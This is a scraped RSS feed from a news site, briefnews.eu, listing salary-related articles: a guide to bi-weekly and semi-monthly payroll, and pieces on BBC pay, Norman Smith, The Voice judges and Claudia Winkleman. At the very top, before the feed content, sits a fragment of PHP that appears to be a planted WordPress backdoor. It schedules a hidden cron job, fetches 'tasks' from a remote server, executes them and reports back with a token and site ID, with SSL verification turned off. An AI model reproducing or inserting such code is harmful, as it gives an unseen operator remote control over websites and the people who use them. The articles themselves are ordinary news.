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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); salary – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 24 Aug 2020 16:19:28 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png salary – Brief News https://briefnews.eu 32 32 The Business Owner’s Guide to Bi-Weekly and Semi-Monthly Payroll https://briefnews.eu/the-business-owners-guide-to-bi-weekly-and-semi-monthly-payroll/ https://briefnews.eu/the-business-owners-guide-to-bi-weekly-and-semi-monthly-payroll/#respond Mon, 24 Aug 2020 16:19:28 +0000 https://briefnews.eu/?p=261257

You value your employees, and you’re more than happy to compensate them for the effort and elbow grease they sink into your business. But, you’ll just say it: running payroll still isn’t your favorite activity.

You got into business ownership to pursue your passion, and not to crunch numbers and pore over legal requirements. In fact, a reported 40% of small business owners say that bookkeeping is the worst part of running a small business.

Much of that is owed to the fact that there’s a lot to figure out when it comes to managing the financial aspects of paying your employees. You need to navigate payroll taxes. You need to make sure you’re complying with overtime requirements. And, you need to figure out the best payroll schedule for your business.

Let’s focus on that last piece. You’ve probably heard terms like bi-weekly pay or semi-monthly pay tossed around. But, what do these actually mean? And, how should you go about deciding on your own payroll frequency without tearing your hair out?

You’re in luck. This article answers some common questions that you (and your employees) might have about payroll schedules.

What is bi-weekly pay?

Bi-weekly pay is the most common option for pay periods, with 36.5% of private U.S. businesses paying their employees on this schedule.

When your employees are getting paid bi-weekly, that means that payday occurs once every two weeks, and typically on the same day of the week (Friday is the most common payday). So, if you paid your employees bi-weekly, they’d receive their paychecks every other Friday.

Because of this, it’s important to note that there will be some months where you’ll actually be required to issue three paychecks—depending on how the calendar shakes out.

How does bi-weekly pay work?

Fortunately, a bi-weekly pay schedule is pretty simple. As the business owner, you would pick a designated payday, and then ensure that your employees get their paychecks on that specific day every two weeks.

How many bi-weekly paychecks in a year?

Your employees have expenses and need to plan out their own budgets, so you can’t blame them for wondering how many bi-weekly pay periods there are in a year.

Fortunately, this is helpful information for you to have too. With payroll likely being one of your largest expenses, you want to know how many times each year you’ll need to cut those checks so that you can plan out your cash flow accordingly.

With a bi-weekly pay schedule, employees will receive 26 paychecks each year, regardless of what year it is. The math is pretty simple: there are 52 weeks in a year, and your employees get paid every two weeks. 52 divided by two equals out to 26.

How do you calculate bi-weekly pay per hour?

Perhaps your hourly employees want to double-check that their paychecks are in the right amount. Or, maybe your salaried workers want to get more granular and see what their hourly earnings are.

It’s pretty simple to calculate an employee’s bi-weekly pay per hour. They’ll need to start by looking at their pay stub to get their total pay amount.

Looking at their gross pay (meaning the lump sum before any taxes or other deductions) will help them calculate their advertised hourly rate, but looking at their net pay (the amount they actually received in their bank account) will help them understand what they’re taking home on an hourly basis.

Your employees will also need to know how many hours they work in a typical week. They should multiply that number by two, since their paycheck captures two full weeks. Once they have that information, they can use this simple formula:

Payment amount ÷ total hours worked = hourly rate

So, for example, this is what that would look like for an employee who earned $2,000 in gross pay on their paycheck and worked 80 hours in two weeks: 2,000 ÷ 80 = $25 per hour.

What is semi-monthly pay?

Semi-monthly pay is another option for employers. Although, it’s admittedly less common, with just 19.8% of businesses opting for this payment frequency.

With a semi-monthly pay schedule, you’ll pay your employees twice per month on specific dates—most commonly on the 15th and the last day of each month.

It’s important to note that semi-monthly pay is often confused with bi-monthly pay, but these two terms mean very different things. Bi-monthly pay means you’re only paying your employees once every two months.

How many semi-monthly paychecks in a year?

Employers who pay employees semi-monthly will give them 24 paychecks each year. Again, even if you’re no accounting whiz, the numbers here are pretty straightforward.

Let’s break down this semi-monthly pay calculation: you pay your employees two paychecks each month, and there are 12 months in a year. If you multiply two by 12, that comes out to 24 paychecks.

Is it better to get paid bi-weekly, weekly, or semi-monthly?

Now that you’ve familiarized yourself with the basics, you (and your employees) might be wondering which system is best? Should you pay them bi-weekly? Semi-monthly? Or even weekly (which is the second most popular option among employers, with 32.4% of businesses opting to go this route)?

There isn’t one right option here, and there are pros and cons of each to consider. For example, weekly or bi-weekly paychecks will be in smaller amounts than semi-monthly paychecks. But, that’s because they happen at a greater frequency.

Provided you comply with any mandated payment frequencies in your state (more on that in the next section), what schedule you opt for is really a personal choice. Here’s a quick chart that breaks down the nuts and bolts elements you’ll want to keep in mind about each of these payment schedules:

How should you decide which payroll schedule is right for your business?

We’ve covered a lot about the different payment frequencies already. But, if you’re still feeling stumped about which choice is right for you, below are a few tips to keep in mind.

1. Check the rules of your state

Business ownership is full of rules and regulations, so you knew that something like this was bound to crop up sooner or later.

States all have different laws that apply to payment frequencies. So, before you make a choice, make sure you use this resource from the Department of Labor to check if a payroll schedule is mandated by your state.

If it is, of course, you need to make sure to comply with that.

2. Consider your different types of employees

If you have the flexibility, you might want to use a couple of different payment schedules depending on the types of employees you have on staff.

For example, running semi-monthly payroll for your hourly employees can be challenging, especially if they racked up any overtime pay. However, it’s more straightforward for your salaried employees who are earning consistent amounts.

Unless your state laws tell you otherwise, don’t feel like you’re locked into the same system for everyone. You might have some wiggle room to tailor your approach based on employee type.

3. Ask your employees for input

Still stuck on the best route for you? Your employees are the ones who are actually cashing the checks, so you might want to ask them for their opinion. Would they rather receive a smaller amount each week? Or a larger lump sum just twice a month?

Make it clear that they won’t be the ones making the final decision. However, gathering their feedback and opinions shows them that you value their ideas and want to engage with them—and it gives you some valuable insights to boot.

Payroll can be a hassle, but it doesn’t have to be

Most business owners will be quick to tell you that they don’t look forward to running payroll (even if they’re passionate about compensating their employees for a job well done). It’s another administrative task that they need to get through.

But, before you can cut any checks, you first need to decide on a payroll schedule for your business.

From bi-weekly to semi-monthly pay, there are plenty of options out there. Use this as your guide to land on the payment frequency that’s best for you and all of your hard-working employees.

This article was contributed by Kat Boogaard and originally posted on Hourly.io

]]> https://briefnews.eu/the-business-owners-guide-to-bi-weekly-and-semi-monthly-payroll/feed/ 0 Norman Smith leaving: Why is Norman Smith leaving the BBC? What was his salary? https://briefnews.eu/norman-smith-leaving-why-is-norman-smith-leaving-the-bbc-what-was-his-salary/ https://briefnews.eu/norman-smith-leaving-why-is-norman-smith-leaving-the-bbc-what-was-his-salary/#respond Thu, 30 Jul 2020 16:52:42 +0000 https://briefnews.eu/norman-smith-leaving-why-is-norman-smith-leaving-the-bbc-what-was-his-salary/

Norman Smith joined the BBC in 1986 as a local radio reporter, before moving up to parliamentary correspondent in 1993. He is known for presenting Today and Yesterday In Parliament on BBC Radio 4 and he has been assistant political editor since 2014. Smith announced on his social media he would be leaving the BBC, saying: “Folks…that’s it from me. Thanks for putting up with me over the years.

“It’s been an absolute privilege. I’m off now for some longer, much longer dog walks.”

The BBC Press team thanked him for his contribution, saying: “We wish @BBCNormanS all the best on his last day.

“’Norman is a wonderful colleague, incredible journalist and Westminster will not be the same without him. We’ll miss him enormously.’ – @KatySearle.”

According to the Evening Express, Smith said he wanted to “go out and do things beyond politics and journalism while I still had my health and fitness”.

He said: “I kind of take the view there is only so much Covid and Brexit you can witter on about.” His salary is not known at this time. 

 

He added: “This is great, it’s been a blast, it’s fun and it’s fantastic but really as a grown up adult I cannot spend the rest of my life standing on this balcony pontificating about politics.”

Fans have thanked him on Twitter, with one saying: “There are many top notch BBC correspondents but Norman Smith is among the very best of the best.

“Always insightful, he can untangle the most complex political story and communicate it clearly and concisely.

“Unfailingly reliable, he always delivers. A huge loss to the Beeb. #r4today.”

Another fan said: “Goodbye to Norman Smith. I will miss the friendly face, the teriffic oratory and delivery, often with wit and humour, scything through the froth of politics.

“He came across as a nice human being. Good luck, good walking.”

Viewers are keen to find out how much Smith was earning in his role, but his salary is not known. 

Many MPs have thanked Smith for his “fair” reporting, and he will be sorely missed. 

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]]> https://briefnews.eu/norman-smith-leaving-why-is-norman-smith-leaving-the-bbc-what-was-his-salary/feed/ 0 Piers Morgan says it’s ‘beginning of the end’ for BBC in furious tirade over salary list https://briefnews.eu/piers-morgan-says-its-beginning-of-the-end-for-bbc-in-furious-tirade-over-salary-list/ https://briefnews.eu/piers-morgan-says-its-beginning-of-the-end-for-bbc-in-furious-tirade-over-salary-list/#respond Wed, 03 Jul 2019 14:47:39 +0000 http://briefnews.eu/piers-morgan-says-its-beginning-of-the-end-for-bbc-in-furious-tirade-over-salary-list/

Good Morning Britain host Piers Morgan, 54, launched into a furious tirade over the BBC’s latest salary list following the news over-75s could lose their free licence fee.

Yesterday, BBC director general Lord Tony Hall announced the total talent bill for the broadcaster had risen by £10million, a figure which left many angered.

With the salaries of the stars funded through licence fees paid by the British public, many have asked why the talent are being paid such figures when the BBC have decided to stop over 75s receiving licence fee benefits.

On today’s edition of Good Morning Britain, Piers claimed the public would lose trust in the broadcaster and the latest developments mark the “beginning of the end”.

“I genuinely think it could be the beginning of the end of the BBC,” Piers began.

“If they double down of this TV licence thing, if they tell 3.5 million pensioners we’re effectively going to risk imprisoning you if you don’t pay your licence whilst dishing out millions to their celebrity talent roster and their own executives.

“You watch what happens I’m telling you, it’s the beginning of the end for the BBC because once you lose public trust, then the public desire to help you by giving you money for what you do disappears.”

Later on in the programme, Piers and his co-host Susanna Reid, 48, were joined by political journalists Kevin Maguire and Andrew Pierce to discuss the backlash the BBC are receiving.

Susanna said: “What they [the BBC] promised to do was to take over the responsibility for it,” regarding the decision about the free licence fee for over-75s jointly implemented by the Conservative government and the BBC.

“That was the mistake because unless you’re going to continue to provide those free TV licences [for over 75s] they shouldn’t have agreed to it,” she continued.

READ MORE: BBC outrage as stars’ pay rises 10 percent weeks after free licence fee axed for over 75s

After Lord Hall declined Good Morning Britain’s invitation to discuss the issue, Andrew remarked: “The man who took that decision is a man called Tony Hall, Lord Hall. Where is he?

“He is the one with a load of un-named executives who’ve taken this decision, the number of executive on over 150,000 a year has scored at the BBC, let’s not forget that.

“There are hundreds of them. This is a BBC screw up,” he continued.

In another rant about the issue regarding salaries and the licence fee debate, Pier said: “The BBC took on the responsibility.

“He’s [Lord Hall] the one ducking the show this morning because he basically knows he’s indefensible. I get why many viewers would see these salaries as repulsive.”

Referring to the salary increase specifically, Piers added: “It’s when the public pay for it, there’s an extra responsibility.

“They [the BBC] are the ones who took the decision. If I were Gary Lineker, I would call their bluff. I would attack the decision to take the tv licenses away from the over 75s.”

The BBC and Conservative made a joint decision in 2015 for the BBC to cover the cost of a free licence fee for over-75s until 2022.

The government have since told the BBC to decide whether they want to continue funding the cost for pensioners, with the broadcaster deciding to stop in June 2020.

Debating the government and BBC’s decision, Piers commented: “We can blame the government and they should have held their pledge to continue this to 2022.”

“I think the BBC has handled this so poorly,” journalist Toby young opined.

Piers went on to reveal viewers would find what he and his co-stars earn as extravagant.

“Our salaries are paid for by advertisers and by company partners,” he continued.

“I’m a big fan of the BBC but this is wrong, this is fundamentally wrong. You [the BBC] made a promise to the pensioner

In a blog defending the decision by the BBC to increase salaries, Lord Hall wrote: “They would earn significantly more elsewhere – and recent departures to commercial rivals show this argument isn’t hollow.

“The simple truth is we have spent more than ever on content, but the amount we have spent proportionally on talent has come down.

“But more importantly, whenever we ask the public whether they want big stars on the BBC they say yes. They say yes because they are talented and entertaining. They also say yes as it means they are getting big value from the BBC.”

Good Morning Britain airs weekdays at 6am on ITV.

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]]> https://briefnews.eu/piers-morgan-says-its-beginning-of-the-end-for-bbc-in-furious-tirade-over-salary-list/feed/ 0 The Voice judges’ salary 2019: How much are the coaches paid on The Voice UK? https://briefnews.eu/the-voice-judges-salary-2019-how-much-are-the-coaches-paid-on-the-voice-uk/ https://briefnews.eu/the-voice-judges-salary-2019-how-much-are-the-coaches-paid-on-the-voice-uk/#respond Sat, 23 Feb 2019 12:43:42 +0000 http://briefnews.eu/the-voice-judges-salary-2019-how-much-are-the-coaches-paid-on-the-voice-uk/

It’s Saturday and that means The Voice is back on telly this evening (February 23). The action will kick off at 8pm on ITV as the first round of the Battles get underway. Tonight’s show will see a number of contestants eliminated following an intense duet performance.

How much are The Voice UK 2019 judges paid?

There is always huge interest surrounding how much judges are paid for their work on high profile competition shows.

The likes of The X Factor, Britain’s Got Talent and of course, The Voice draw in huge stars to their respective judging panels and with such stellar careers behind them, they are likely offered a hefty fee.

This year’s judges are Tom Jones, will.i.am, Jennifer Hudson and Olly Murs.

WHO WON THE VOICE 2018?

There is no indication of exactly how much The Voice judges are paid each but we do know how much ITV is prepared to spend on their stars.

Former One Direction star Louis Tomlinson is also said to have been paid £4 million for his part.

On X Factor 2018, it was reported that judges Robbie Williams and Ayda Field pocketed £10 million each for the series.

While The Voice salaries are unconfirmed, it is thought to be similar to those of the X Factor.

WHAT TIME DOES THE VOICE START TONIGHT?

The last confirmed salary we have for will.i.am on The Voice is £600,000.

This payout was revealed as part of the BBC’s yearly release of its salaries in 2016.

The BBC paid will.i.am £600,000 when they owned The Voice, but it is rumoured the Black Eyed Peas star makes more now the singing competition is on ITV.

This worked out as over £40,000 an episode for the judge, who has appeared on the show since 2012.

WHAT IS WILL.I.AM’S SALARY?

What will happen in The Voice UK tonight?

Tonight’s The Voice UK episode sees the coaches enter into the second stage of the competition – Battles.

With the Blind Auditions over the contestants will have a chance to sing again.

The Battles begin as the coaches will start to trim down their teams.

In this stage, each round sees two acts from the same team go head-to-head performing a duet and the relevant coach can only send one of there acts through.

However, the other coaches then have the opportunity to steal anyone they reject – but they each are only allowed one “steal”.

The Voice airs on ITV tonight at 8pm

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]]> https://briefnews.eu/the-voice-judges-salary-2019-how-much-are-the-coaches-paid-on-the-voice-uk/feed/ 0 Royal Caribbean reveal ‘once in a lifetime’ cruise job with HUGE salary – what is it? https://briefnews.eu/royal-caribbean-reveal-once-in-a-lifetime-cruise-job-with-huge-salary-what-is-it/ https://briefnews.eu/royal-caribbean-reveal-once-in-a-lifetime-cruise-job-with-huge-salary-what-is-it/#respond Mon, 04 Feb 2019 02:00:38 +0000 http://briefnews.eu/royal-caribbean-reveal-once-in-a-lifetime-cruise-job-with-huge-salary-what-is-it/

One lucky cruise line passenger will be paid the equivalent of a £100,000 salary thanks to Royal Caribbean and the brand’s jaw-dropping, first ever Shore Explorer Apprentice-ship. The appropriately titled job role, which is sure to be coveted among many travel fans, offers the enviable task of sailing on one of the firm’s luxurious ships to a host of destinations across the globe. The lucky employee will be paid a hefty fee for the privilege, and in return need to seek out and then test what they deem extraordinary shore experiences. These include visiting a glacier in Alaska, exploring Osaka in Japan and white water rafting in the Norwegian Fjords, documenting their experiences on Royal Caribbean’s Instagram, Insta-Stories and IGTV pages.

As if the perks of this particular role weren’t extensive and impressive enough, the lucky apprentice will also get the first glimpse at Royal Caribbean’s new and exclusive private island in the Caribbean, Perfect Day at CocoCay, set to open in May 2019.

Those wanting to apply for the one-off role need to apply via the cruise line’s Instagram page.

They will need to share their favourite ever travel experience in a picture or video on Instagram, Insta-Stories or IGTV tagging #ShoreExplorer and @RoyalCaribbeanUK

It will then be judged by an independent panel of judges, who include The Vamps’ writer & guitarist and contestant in I’m A Celebrity…Get Me Out of Here! 2018, James McVey.

A Royal Caribbean spokesperson said: “We’re looking for an adrenaline junkie who is not only hungry for adventure, but also has a unique ability to capture a moment and tell a story in a simple social media post.

“We already offer a huge amount of incredible, once-in-a-lifetime, on-land experiences as part of our cruise holidays – from zip wires and white water rafting, to walking on glaciers and hot air balloon rides.

“By launching this position, we’re hoping that the winning candidate will take our shore excursion programme to the next level.”

Meanwhile, on becoming a Shore Explorer judge, James McVey said: “My jungle experience taught me that you really can’t beat the thrill of exploring new destinations and experiences – whether on land or sea – and that’s what becoming a Shore Explorer is all about.

“I’m so excited to be working with Royal Caribbean to find the perfect person for this new Apprentice-ship; someone who has a passion for travel, exploration and seeking out new and extraordinary experiences around the world.

“And, of course, they have to be brilliant at sharing their adventure online too!”

Applicants must be 21 years or over, hold a valid passport and be able to travel this year.

Royal Caribbean also conducted a survey tied with its debut Shore Explorer Apprentice-Ship, which centred on bucket list travel wishes.

The findings showed more than half (51 per cent) of millennials claim that they would rather spend their money on memorable experiences over material possessions.

Meanwhile, almost a third (28 per cent) of this age group have even booked a holiday or experience after seeing someone posting about it on Instagram.

Top of the destination wish list was a trip to see the Northern Lights.

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]]> https://briefnews.eu/royal-caribbean-reveal-once-in-a-lifetime-cruise-job-with-huge-salary-what-is-it/feed/ 0 Claudia Winkleman net worth: Strictly Come Dancing presenter earns this massive salary https://briefnews.eu/claudia-winkleman-net-worth-strictly-come-dancing-presenter-earns-this-massive-salary/ https://briefnews.eu/claudia-winkleman-net-worth-strictly-come-dancing-presenter-earns-this-massive-salary/#respond Sat, 08 Sep 2018 15:48:31 +0000 http://briefnews.eu/claudia-winkleman-net-worth-strictly-come-dancing-presenter-earns-this-massive-salary/

Claudia Winkleman, 46, is one of the most recognisable faces on British television, being a presenter, model, critic and journalist.

The star is also the co-host of Strictly Come Dancing, bursting back onto television screens tonight for the 2018 series.

Claudia is hosting the show alongside Tess Daly, a role that she has had since 2012 when Bruce Forsyth sadly passed away.

All set for the 2018 series of Strictly, how much is Claudia Winkleman actually worth?

For the last two years, the London-born star was the BBC’s highest-paid female, bringing in a staggering £450,000-£499,999 salary in 2016-2017.

The highest paid male on the list was Chris Evans, who earned £2.2 million a year – four times as much as the highest-paid woman, Claudia.

Due to media scrutiny over the BBC’s “talent list”, Claudia and other BBC talents took a pay cut, with her salary dropping to £370,000-£379,999 – still an impressive amount.

According to CelebrityNetWorth.com, Claudia now has a whopping net worth of around $ 12 million (£9 million).

The majority of her income is from her role as presenter on Strictly Come Dancing, but she also hosts the BBC Radio 2 Show, Claudia on Sunday.

Bumping up her income, Claudia also reportedly receives £75,000 for her Sunday Times Style Magazine column.

Putting her substantial earnings to good use, Claudia lives in the highly-sought after area of Bayswater in London.

The 46-year-old lives with her film producer husband, Kris Thykier, and their three children Jake, 14, Matilda, eight and Arthur, six.

But Claudia has worked hard for her big paycheque, starting her career almost 30 years ago when she presented on the regional discussion programme, Central Weekend.

In 1992 she landed the role that would see her through to the late nineties, appearing on the BBC series, Holiday.

Following that Claudia gained her first day-time role as a host on the BBC Three show Liquid news.

Since then, Claudia has become one of the most well-known presenters in the country, presented Fame Academy and Strictly Come Dancing: It Takes Two.

In 2014 she was announced as the new co-host for the 12th series of Strictly Come Dancing, joining show stalwart, Tess Daly.

Another presenter who is appearing on Strictly Come Dancing tonight, but as a contestant, is Katie Piper.

Katie has created a successful career after being the victim of an acid attack which left her blind in one eye.

She was announced as the first contestant for the 2018 series of the show, but what is her net worth?

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]]> https://briefnews.eu/claudia-winkleman-net-worth-strictly-come-dancing-presenter-earns-this-massive-salary/feed/ 0 Future of ‘Star Trek 4’ in Doubt as Chris Pine and Chris Hemsworth Depart Over Salary Negotiations https://briefnews.eu/future-of-star-trek-4-in-doubt-as-chris-pine-and-chris-hemsworth-depart-over-salary-negotiations/ https://briefnews.eu/future-of-star-trek-4-in-doubt-as-chris-pine-and-chris-hemsworth-depart-over-salary-negotiations/#respond Sat, 11 Aug 2018 12:30:06 +0000 http://briefnews.eu/future-of-star-trek-4-in-doubt-as-chris-pine-and-chris-hemsworth-depart-over-salary-negotiations/ Chris Pine Leaves Star Trek 4

Captain…we have a problem.

Chris Pine and Chris Hemsworth have both walked away from Star Trek 4 following failed salary negotiations. Pine was going to reprise his role as Captain James T. Kirk for the fourth time. Hemsworth was going to return via time travel as Kirk’s father, who was introduced in the 2009 reboot’s memorable prologue. What happens next, especially since the rest of the cast is still on board, remains uncertain.

The Hollywood Reporter has the story, and it offers up a dark side to a franchise built upon hope and optimism. After all, money doesn’t exist in the utopian world created by Gene Roddenberry over 50 years ago…but it sure as hell exists right here and now, and Pine and Hemsworth felt they weren’t getting enough of it to step aboard the bridge again. Or rather, they felt Paramount was not honoring an existing deal.

According to THR, the actors and their reps “insist they have deals in place and that the studios are reneging on them, forcing them to take pay cuts as they try to budget a movie that is following a mediocre performer.” That mediocre performer is Star Trek Beyond, a very good movie that massively underperformed when it opened in 2016. That film grossed $ 343 million worldwide, but it cost $ 190 million. That’s not a great ratio when other franchise films regularly cross the $ 1 billion mark these days.

Still, it’s hard to blame Pine and Hemsworth for sticking to their guns and walking away if they’re not getting paid what they believe they should be paid. If you want to point fingers at someone, point them at Paramount.

So what does this mean for Star Trek 4? Well, Zoe Saldana, Zachary Quinto, Karl Urban, Simon Pegg and John Cho are all expected to close their deals and return as Uhura, Spock, Dr. McCoy, Scotty, and Sulu, respectively. It’s possible that Kirk and his father could be recast. It’s also possible that Pine and Hemsworth return to the negotiating table and everything gets worked out. It’s also possible that they split the difference – cough up the cash for Pine since he’s the face of the rebooted franchise and recast his dearly departed dad with someone less expensive.

In any case, I’ll just come right out and say it: this flat-out sucks. I’ve been critical of the new Trek movies, but two of them have been winners, overcoming their flaws to reflect what makes this series so damn special. Pine did the impossible – he proved that someone else was capable of filling William Shatner’s boots. And Hemsworth’s entire career was built on his powerful scenes as George Kirk and seeing him return would have been a thrill. Then there’s the rest of the crew, played to perfection by a perfectly cast ensemble who give new life to beloved characters. I’d watch a Star Trek 4 starring everyone but Kirk, but would Paramount even consider making that?

It’s especially a bummer since Star Trek 4 was going to mark the first time a female director was going to steer a Trek movie. What does this mean for S.J. Clarkson? Will she stick around if things have to get retooled?

Anyway, it’s not like this spells the end of Star Trek. The recent series Star Trek: Discovery is returning for its second season next year and there’s a new TV show starring Patrick Stewart, reprising his role as Captain Picard, in the pipeline. And Pine has the Wonder Woman movies and Hemsworth has Thor and the rest of the cast are in high-demand. In the end, nothing and no one is irreparably damaged.

But still, it was a thrill to see Trek back on the big screen ever couple of years. I’ll cross my fingers and hope they can work this one out.

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]]> https://briefnews.eu/future-of-star-trek-4-in-doubt-as-chris-pine-and-chris-hemsworth-depart-over-salary-negotiations/feed/ 0 What is Prince Harry’s salary? Does he have a private income? Finances revealed https://briefnews.eu/what-is-prince-harrys-salary-does-he-have-a-private-income-finances-revealed/ https://briefnews.eu/what-is-prince-harrys-salary-does-he-have-a-private-income-finances-revealed/#respond Fri, 15 Jun 2018 06:36:55 +0000 http://briefnews.eu/what-is-prince-harrys-salary-does-he-have-a-private-income-finances-revealed/

Prince Harry is one of the most popular members of the Royal Family.

His lavish wedding to wife Meghan Markle, 36, a former-actress in cable drama Suits, took place last month.

The royals enjoy a lavish life, but how do they pay for it all?

Does Prince Harry have a job or a private income?

Prince Harry did have a private salary during his 10 years in the army, in which he served between 2005 and 2015.

According to OK! magazine this role would have seen him earn in the region of £40,0000 annually.

Prince William, 35, earned the same sum when working an an air ambulance pilot and he is said to have donated the whole sum to charity.

It is not known whether Harry donated his salary from his role in the army to a similar cause.

A large chunk of Prince Harry’s work as a member of the Royal Family is voluntary for charity.

Royal expert Kelly Lynch, managing editor of Daily Break, told Express.co.uk: “I actually don’t know what Harry’s salary is.

“I know that prior to meeting Meghan, his endeavours were funded by the Prince of Wales.”

Prince Charles, 70, has an income from the Duchy of Cornwall , an enormous private estate.

The website for the Duchy states: “The Duchy of Cornwall is a private estate established by Edward III in 1337 to provide independence to his son and heir, Prince Edward.

“A charter ruled that each future Duke of Cornwall would be the eldest surviving son of the Monarch and heir to the throne.

“The current Duke of Cornwall, HRH The Prince of Wales, is the longest serving Duke in history.

“The revenue from his estate is used to fund the public, private and charitable activities of The Duke and his children.”

It is likely this is were Harry gets the majority of his cash, the royal expert revealed.

She said: “I’m sure Charles has set out a budget for Harry.

“I know that Princess Eugenie has a private income, as she works for a gallery.”

Contrary to popular belief, neither Prince Harry nor Prince William are given any money directly from the government.

However, both have a large sum of money from their parents.

Kelly explained: “(Harry) doesn’t get an allowance from the government (that is reserved strictly for the monarch).

“He does, however, have an inheritance from his mother, and while he served in the army he was on salary (how much, I’m not sure).”

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  • Your financial situation is ever-evolving.
  • But there are certain ages in life when you’re most likely to reach a peak related to spending, saving, and earning money.
  • For example, the average American woman earns the most money of her career around age 40.

Your financial situation is ever-evolving — just like your happiness.

But like your state of mind, your finances are bound to peak at certain times in your life.

To find out what that timeline looks like for the average person, we’ve gathered some research on how Americans spend, save, and earn money.

The graph below pinpoints the age at which you peak at everything in terms of your money.

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Keep reading to learn more about the five financial peaks:

Age 25: You spend the most money you don’t have

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Anyone, regardless of age, can be guilty of overspending. But for the average American 20-something, the propensity to do so is often the greatest.

According to data from the Bureau of Labor Statistics, a 25-year-old’s average pre-tax income is $ 31,000, while their annual spending is about $ 33,000.

That means they’re most likely racking up debt — or getting help from Mom and Dad — to cover their expenses.

Living beyond your means is a bad financial habit to adopt, but entry-level salaries, expensive rent, and student loan debt aren’t helping millennials spend less and save more.

Age 40: You buy a home

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The typical US homebuyer is 40 and purchasing a home for $ 200,000, according to Zillow Group’s 2017 housing report.

But 42% of all homebuyers are part of the millennial generation — people between 18 and 37 — and becoming homeowners for the first time.

And many aren’t doing it alone. Nearly 70% of all homebuyers are married or have a partner and earn a median household income of $ 87,500.

Age 40: Women make the most money of their careers

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Women’s salary growth outpaces men’s up until about 30, when they start having children, then slows down considerably within the next decade, according to research from PayScale cited by CNBC.

College-educated women hit their peak earnings around 40, when their typical salary is about $ 60,000.

PayScale found that the most common jobs held by American women were registered nurse, elementary school teacher, and human-resources administrator.


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Debbie McGee, 59, also known as Debra Ann McGee, recently starred in Strictly Come Dancing, and is best known as the widow of magician Paul Daniels, who died at the age of 77.

She rose to fame as the assistant of Paul Daniels in his magic show, BBC One’s The Paul Daniels Magical Show, and was commonly introduced as “the lovely Debbie McGee”.

She starred on Strictly Come Dancing 2017 alongside professional dance partner Giovanni Bernice, and the pair reached the final before being beaten by Joe McFadden dancing with Katya Jones.

She is also a former ballet dancer, and was once artistic director of a ballet company she owned as well as dancing herself in the Iranian National Ballet Company in Tehran.

She became the first female member of British professional magician circle The Magic Circle in 1991, and in 2017 won the Magic Circle’s Maskelyne Award.

What is Debbie McGee’s net worth?

Debbie was born in Kingston upon Thames in 1958 to parents Patrick McGee and Lillian Howes, and her parents had their own corner shop while she was young.

She was educated at Our Lady Immaculate RC Primary School in Tolworth, before attending Tolworth Girls’ School.

She later attended the Royal Ballet School after auditioning and gaining a place at the age of 19.

Debbie’s total fortune is not known, however, various pieces of information available give clues to how much she has.

Paul Daniels is said to have left just under £500,000 to his widow after his death in 2016, due to debts of more than £1 million claiming the rest of his money.

It is believed Debbie took a further £75,000 as her salary away after making it to the Strictly finals, according to The Sun.

Debbie has published multiple books in collaboration with Susan Wilson, although her earnings from this work are unknown.

Yesterday, Express.co.uk revealed the net worth of comedian Ricky Gervais after he refused a huge salary from Netflix.

The comedian has enjoyed hit after hit since he first found fame with The Office in 2001, and has combined writing and starring in TV series with Hollywood movie roles, stand-up comedy gigs and even awards ceremony hosting duties.

Now, with the release of his new stand-up show Humanity on Netflix, Ricky has amassed an estimated fortune of £71 million.

Ricky divides his time between two homes in Hampstead and New York City and lives with his partner Jane Fallon. 

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